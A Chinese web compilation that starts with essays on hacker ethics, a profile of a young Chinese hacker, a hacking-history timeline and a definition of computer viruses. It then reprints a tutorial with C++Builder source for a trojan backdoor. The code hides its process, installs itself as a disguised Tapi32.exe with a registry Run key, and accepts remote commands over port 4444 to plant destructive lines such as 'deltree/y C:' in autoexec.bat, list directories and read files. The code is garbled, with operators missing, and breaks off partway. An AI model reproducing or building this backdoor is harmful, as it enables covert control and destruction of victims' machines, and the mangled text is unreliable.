黑客?
那得看你是被黑还是你黑别人了。
个人觉得黑客其实是对计算机水平高超的人的尊称。但并不是说你技术高了就是一名黑客了,相对应的个人修养,素质,以及品德,都是衡量一个黑客好坏的标准。黑客的价值应在去发现问题解决问题并预防问题。而不是破坏,盗取,犯罪。所以对待这两种人,同称为黑客的态度是不一样的。
对一个黑客来说,学会编程是必须的,计算机可以说就是为了编程而设计的,运行程序是计算机的唯一功能。对了,数学也是不可少的,运行程序其实就是运算,离散数学、线性代数、微积分等。
经常逛“华中帝国”“黑基网”“华夏联盟”等网站,学习里面的教程之类的。熟悉协议,熟练使用汇编语言,知道如何通过软件对硬件调用。
黑客的由来:
黑客这个词源于上个世纪50年代的麻省理工,当时MIT的一帮聪明又精力充沛的年轻学生们,聚集在一起,思维的火花互相碰撞,有了共同想法的人组成了一个个兴趣小组。比如那个最著名Tech Model Railroad Cloub(铁路技术俱乐部),大家在一起学习研究火车的构成、信号控制系统,自己动手组装模型,修改模型,一起研究做实验,把心中一个个idea付诸实现。
看过“唐人街探案”的小同伴,对影视剧中的黑客并不生疏,这些黑客的身份推翻了群众对黑客以往的认知。黑客不只仅是“昼伏夜出、戴着黑帽”的IT男,可能是扎着马尾、青春弥漫的少女,也可能是年龄较小、不写作业的小学生。有这么一个黑客,他以共同的“任性方式”在学校小有名气。别的小朋友不想写作业时,顶多是“一哭二闹三,但他不想写作业时,直接不吭不响地黑掉了学校系统。
这么硬核的操作真的来自于这个小黑客手中吗?他是谁?如今又开展得怎样?他是中国年龄最小的黑客,也是一位名不虚传的零零后。
2001年,汪家迎来了重生命,汪家父母希望这个小男孩日后可以扬起一身正气,所以为其取名“汪正扬”。八岁之前的汪正扬和同龄孩子并无差别,喜欢看书上网打游戏,但独一不同的是:汪正扬特别喜欢研究每款游戏的破绽。
由于长期和计算机“朝夕相处”,汪正扬小小年岁就戴起了眼镜,这并无妨碍他对互联网的深化研讨。
2009年,8岁的汪正扬在偷了半年的“菜”后,觉得索然无味,便将眼光投向了计算机程序,相关于偷菜的刺激,他觉得研发程序愈加具有应战性。他人的8岁在游乐场渡过,他的8岁在计算机中渡过。想要设计程序并非易事,八岁的汪正扬发挥“自学肉体”,开端翻阅书籍参考材料创作小程序,相关于较为完善的程序,汪正扬的小程序较为根底,但看到努力后的成果时,汪正扬满心欢欣。爱因斯坦曾说:兴味是最好的教师,这次的阅历让汪正扬对计算机产生了浓重兴味。汪家父母发现了他对计算机的天赋后,便不再“啰嗦”,转而给予正确引导。
2011年,刚上四年级的汪正扬无意间看到精巧的网站后,他也想要兴办一个属于本人的网站,但网站不同于小程序,需求一定的资金支撑,“囊中羞怯”的汪正扬不好意义问父母伸手要钱。
于是用本人长期积累下来“买冰棍的四百多元钱”买了一个主机网站,觉得网站稍微单调后,他将本人曾经设计的程序放到网站上,二者的分离满足了汪正扬现有阶段的认知,他在网站上自娱自乐,有了不小的收获。他运营这个网站长达两年半,每一次运转都很有成就感,不得不说,汪正扬的思想才能和创新才能是值得认可的。但是,在一次作业布置中,他看着电脑上的作业列表不由得心生烦闷,胆大心细的他直接偷偷黑掉了学校系统,整个学校互联网运转处于瘫痪状态。
众人以为系统毛病是网络缘由或者是外界黑客进攻,谁都不会想到:那个戴着眼镜且一脸无辜的小学生就是入侵学校系统的黑客。事情败露后,一切师生对其“刮目相看”:人果真不可貌相,看似斯文无知的小男孩居然是个黑客高手。当然,他也因这次的任性而付出了“作业加倍”的代价。在教师的教育中,小小的汪正扬认识到了本人的任性,他也晓得了互联网的“黑、白”客之分。相关于做不能见光的黑客,汪正扬更愿意做一身正气的“白客”。
在2013年11月,12岁的汪正扬觉得机遇成熟,便再次兴办了一个新的网站,吸取以往的经历,这个网站完善许多,他之前的碎片学问在兴办网站的过程中已逐渐系统化专业化。他也逐渐懂得如何去检测某个网站的系统破绽。
许多父母并不赞同汪家父母任由儿子学习电脑的做法,他们觉得这样的“纵容”会让孩子耽搁学业。在学校“一黑成名”的汪正扬也开端遭受一些“猎奇”的质疑:计算机如此凶猛,那学习成果是不是一塌涂地。其实不然,汪家父母十分懂得正确引导汪正扬在学习和喜好之间的精神投放,汪正扬在计算机上投入的时间和精神并不会影响学习。他无论是做小程序还是兴办网站,都是在完成学业的根底上去触及学习。所以,汪正扬的成果一直在班级首屈一指,是一位德才兼备的好学生。
2014年,13岁的汪正扬考上了清华附中,这份优良成果打脸了许多说他“玩物丧志”的人。
2014年4月,这是他学业的转机点,也是他“事业”的转机点,之前的创作都是自娱自乐,但他这一年撰写的破绽报告就是正儿八经的实力展示。这一年,汪正扬无意间发现360公司存在着一个可能影响上百家教育系统破绽的bug。随后,他将其梳理完善后,便向360公司的“库带方案”提交此破绽。相关人士看到这份报告后,不由得难以置信:这是13岁的小孩所提交的破绽报告吗,年龄绝对存在着造假。
但是,相关工作人员在确认了汪正扬的相关身份后,大吃一惊:天才果真不分年龄。360公司对汪正扬的学习才能大为赞赏,而他也一夜成名。
2014年9月,汪正扬列席了中国互联网平安大会,相关于会议中心西装革履的成年人,13岁的他 显得格格不入,好在汪正扬的气场犹在,发言时条理明晰,博得台下阵阵掌声。作为最小的黑客,汪正扬更喜欢他人叫他“白帽子”,由于黑客都是在攻击他人的系统取得非法利益,但他却是在以卫士的身份守护着互联网的平安,他想当护卫者,不想做侵入者。汪正扬在生活中是一个不善言辞的人,但他在互联网中却如鱼得水,这大约也是上天给予他的天赋。
此次大会过后,汪正扬便消逝在群众视野,他的父母帮他婉拒了许多媒体的采访,他们希望汪正扬能够不受打搅,也希望他能安心学习。
2021年汪振阳曾经20岁,正在读大学的他努力于将计算机的喜好一做到底,每当提及小学因不想写作业而黑掉学校教学系统的事情时,他总会不好意义地笑容说:那都是年少轻狂的举措,不值一提。褪去了曾经的稚气,汪正扬多了些许沉稳沉着,在谈及职业规划时,他仍然坚决如初:希望可以经过所思所想为中国的互联网奉献本人的力气。
有人说:汪正扬不该在学习的年岁过早接触互联网,他的过早成名对他的学习没有太大益处,没有判别才能的他因成名过早,或许会洋洋自得。也有人说:汪正扬是一个沉稳冷静的人,即便在走红之后仍然坚持高考,并没有经过本人的名气停止炒作或博眼球,这样的行为值得认可。最小黑客事情同时也反映出了一件事:在科技兴旺的现代社会中,零零后也逐步成为了互联网时期的主力军,置信在不久的将来,中国的开展将愈加具有保证。
黑客入门基础知识第一步要做的是掌握web前后端基础和服务器通讯原理,前后端包括h5,js,PHP,sql。单从技术上分黑客有专注web的web渗透测试黑客,有专注于挖掘软硬件漏洞的二进制黑客,有专注移动安全或无线安全的,例如手机端的黑客,还有喜欢破解软件的逆向破解型黑客。
黑客起源
黑客这个词源于上个世纪50年代的麻省理工,当时MIT的一帮聪明又精力充沛的年轻学生们,聚集在一起,思维的火花互相碰撞,有了共同想法的人组成了一个个兴趣小组。比如那个最著名Tech Model Railroad Cloub铁路技术俱乐部,大家在一起学习研究火车的构成,信号控制系统,自己动手组装模型,修改模型,一起研究做实验,把心中一个个idea付诸实现。
久而久之,大家把这些好玩,又有技术含量的idea叫hack。而这些俱乐部里的精英就自称hacker,这就是这个词的来源。而这些俱乐部也不负众望,不仅好玩,而且还玩出来了改变和影响当今世界的东西,Unix、互联网、开源软件,还有其他。
黑客的身影已经存在了一个多世纪。最早的黑客可以追溯到19世纪70年代的几个青少年,他们用破坏新注册的电话系统的行为挑战权威。下面就让我们来看一看最近35年来黑客们的忙碌身影。
本世纪60年代初
装备有巨型计算机的大学校园,比如MIT的人工智能实验室,开始成为黑客们施展拳脚的舞台。最开始,黑客(hacker)这个词只是指那些可以随心所欲编写计算机程序实现自己意图的计算机高手,没有任何贬义。
70年代初
John Draper发现通过在孩子们用的一种饼干盒里发出哨声,可以制造出精确的音频输入话筒让电话系统开启线路,从而可以借此进行免费的长途通话。Draper后来赢得了"嘎扎上尉"的绰号。整个70年代,Draper因盗用电话线路而多次被捕。
雅皮士社会运动发起了YIPL/TAP杂志(青年国际阵营联盟/技术协助计划)来帮助电话黑客(称为"phreaks",即电话线路盗用者)进行免费的长途通话。
加利福尼亚Homebrew电脑俱乐部的两名成员开始制做"蓝盒子",并用这种装置侵入电话系统。这两名成员一个绰号"伯克利蓝"(即Steve Jobs),另一个绰号"橡树皮"(即Steve Wozniak),他们后来创建了苹果电脑。
80年代初
作家William Gibson在一部名叫巫师(Neuromancer)的科幻小说中创造了"电脑空间"一词。
美国联邦调查局开始逮捕犯罪的黑客。在最初的几起黑客罪案中,名为Milwaukee-based 414s的黑客小组(用当地的分区代码取名)颇引人注目,其成员被指控参与了60起计算机侵入案,被侵对象包括纪念Sloan-Kettering癌症中心甚至洛斯阿莫斯国家实验室。
新颁布的综合犯罪控制法案,赋予联邦经济情报局以法律权限打击信用卡和电脑欺诈犯罪。
两个黑客团体相继成立,他们是美国的"末日军团"和德国的"混沌电脑俱乐部"。"黑客季刊"创刊,用于电话黑客和电脑黑客交流秘密信息。
80年代末
新颁布电脑欺骗和滥用法案,赋予联邦政府更多的权利。美国国防部为此成立了计算机紧急应对小组,设在匹兹堡的卡耐基-梅隆大学,它的任务是调查日益增长的计算机网络犯罪。
25岁,经验丰富的黑客Kevin Mitnick秘密监控负责MCI和数字设备安全的政府官员的往来电子邮件。Kevin Mitnick因破坏计算机和盗取软件被判入狱一年。
芝加哥第一国家银行成为一桩7000万美元的电脑抢劫案的受害者。
一个绰号"Fry Guy"的印第安那州的黑客因侵入麦当劳系统,被警方强行搜捕。在亚特兰大,警方同样搜捕了"末日军团"的三名黑客成员,其绰号分别为"Prophet","Leftist"和"Urvile"。
90年代早期
由于ATT的长途服务系统在马丁路德金纪念日崩溃,美国开始实施全面打击黑客的行动。联邦政府逮捕了圣路易斯的"Knight Lightning"。在纽约抓获了"欺骗大师"的三剑客"Phiber Optik","Acid Phreak"和"Scorpion"。独立黑客"Eric Bloodaxe"则在德克萨斯被捕。
由联邦经济情报局和亚里桑那打击有组织犯罪单位的成员成立了一个取名Operation Sundevil的特殊小组在包括迈阿密在内的12个主要城市进行了大搜捕,这个持续17周的亚里桑那大调查,最后以捕获黑客Kevin Lee Poulsen,绰号"黑色但丁"宣告终结。"黑色但丁"被指控偷取了军事文件。
黑客成功侵入格里菲思空军基地,然后又袭击了美国航空航天管理局(NASA)以及韩国原子研究所的计算机。伦敦警察厅抓获一个化名"数据流"的16岁英格兰少年,该少年被捕时像一个婴儿一样蜷曲着身体。 德州AM的一名教授不断收到一个从校园外登录到其计算机的黑客发出的死亡威胁,该教授被迫用其互联网址发送了2万多封种族主义内容的电子邮件。
Kevin Mitnick再次被抓获,这一次是在纽约的Raleigh,他被圣迭哥超级计算中心的Tsutomu Shimomura追踪并截获。公众媒体大量报道此事。
90年代末
美国联邦网站大量被黑,包括美国司法部,美国空军,中央情报局和美国航空航天管理局等。
美国审计总局的报告表明仅仅1995年美国国防部就遭到黑客侵袭达25万次之多。
一个加拿大的黑客组织"男孩时代",因对其成员受错误指控非常愤怒,而侵入了加拿大广播公司的网站并留下一条信息称"媒体是骗子"。该组织的黑客被媒体指控对加拿大的某个家庭进行电子追踪,但稍后的调查表明该家庭15岁的儿子才是进行电子追踪的真正元凶。
黑客们成功穿透了微软的NT操作系统的安全屏障,并大肆描述其缺陷。
流行的电子搜索引擎Yahoo!被黑客袭击,黑客声称如果Kevin Mitnick不被释放,一个"逻辑炸弹"将于1997年圣诞节,在所有Yahoo!用户的电脑中爆发。而Yahoo!的发言人Diane Hunt则声称Yahoo!没有病毒。
1998年
反黑客的广告开始在电视频道Super Bowl XXXII上播出,这是互联网协会的一则30秒的广告,花费130万美元。广告的内容是两个俄罗斯导弹发射基地的工作人员担心黑客通过计算机发出发射导弹的指令,他们认为黑客可能以任何方式决定这个世界的毁灭。 一月,联邦劳动统计局连续几天被成千上万条虚假请求信息所淹没,这种黑客攻击方式名为"spamming"。
黑客们侵入美国儿童基金会网站,并威胁如不释放Kevin Mitnick将会有大屠杀。
黑客声称已经侵入五角大楼局域网,并窃取了一个军事卫星系统软件。黑客们威胁将把软件卖给恐怖分子。
美国司法部宣布国家基础设施保护中心的使命是保护国家通讯,科技和交通系统免遭黑客侵犯。
黑客组织L0pht在美国国会听证会上警告说,它可以在30分钟内关闭全国范围内的所有进出互联网的通道。该组织敦促更强有力的网络安全检查。
黑客历史面面观
20世纪70年代早期
最初,"黑客"(HACKER)是一个褒义词,指的是那些尽力挖掘计算机程序的最大潜力的电脑精英。
1983年
美国联邦调查局首次逮捕6名少年黑客(因其所住地区电话区号为-414-,又被称作"414"黑客)。6名少年侵入60多台电脑,其中包括斯洛恩-凯特林癌症纪念中心和诺斯阿拉莫国家实验室。
1984年
艾里克-克力在美国在美国创办黑客杂志《2600:黑客季刊》,成为黑客交换信息的重要场所。
1985年
地下记者"塔兰王"和"闪电骑士"创办电子杂志《弗里克》-Phrack,专门介绍攻击计算机的知识。
1987年
17岁的高中学生赫尔伯特-齐恩(又称"影子鹰")承认侵入美国电话电报局新泽西州电脑网络。齐恩是美国被判有罪的第一位黑客。
1988年
美国康奈尔大学学生罗伯特-莫里斯(22岁)向互连网上传了一只"蠕虫"。这个程序为攻击UNIX系统而设计,侵入其他电脑并自我繁衍,占用大量系统资源,使当时近1/10互连网陷入瘫痪。
1989年
美国加利福尼亚大学系统管理员克利弗-斯托尔发现了5名西德电脑间谍入侵美国政府和大学网络。5名西德人最终因间谍罪被逮捕起诉。
1990年
美国一个黑客组织--"末日军团"中四名成员因盗窃南方贝尔公司911紧急电话网络的技术秘密而被逮捕。同年,美国联邦特工处发动"阳光罪恶行动"对黑客进行严打。
1994年
美国宇宙航天局的电脑网络受到两名黑客的攻击。
1995年
俄罗斯黑客列文(30岁)在英国被捕。他被控用笔记本电脑从纽约花期银行非法转移至少371万美圆到世界各地由他和他的同伙控制的帐户。
1996年
一位代号Johnny的黑客向全球大约40位政治家、企业领导人和其他个人发送邮件炸弹,一个周末便制造了高达2万条邮件垃圾。--当然在现在这不算什么啦!!!
1998年
美国国防部宣布黑客向五角大楼网站发动了"有史以来最大规模、最系统性的攻击行动",打入了许多政府非保密性的敏感电脑网络,查询并修改了工资报表和人员数据。
1999年5月-6月
美国参议院、白宫和美国陆军网络以及数十个政府网站都被黑客攻陷。黑客在美国新闻署网站留下的信息最引人注目"水晶,我爱你。"署名为:Zyklon。
1999年11月
挪威黑客组织"反编译工程大师"破解了DVD版权保护的解码密钥并公布在互连网上,引起震惊!
2000年2月
在三天的时间里,黑客组织使全球顶级互连网站--雅虎、亚马逊、电子港湾、CNN等陷入瘫痪。黑客使用了一种叫作"拒绝服务式"攻击手段,即用大量无用信息阻塞网站的服务器,使其不能提供正常服务。
2000年6月
黑客对YAHOO进行了攻击,盗走了用户的密码并查看了一些用户的资料。这次黑客进攻的方法是:把一个木马程序用邮件的形式传给YAHOO的一名职员,而这个职员不小心运行了程序,最终导致了一场灾难。
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
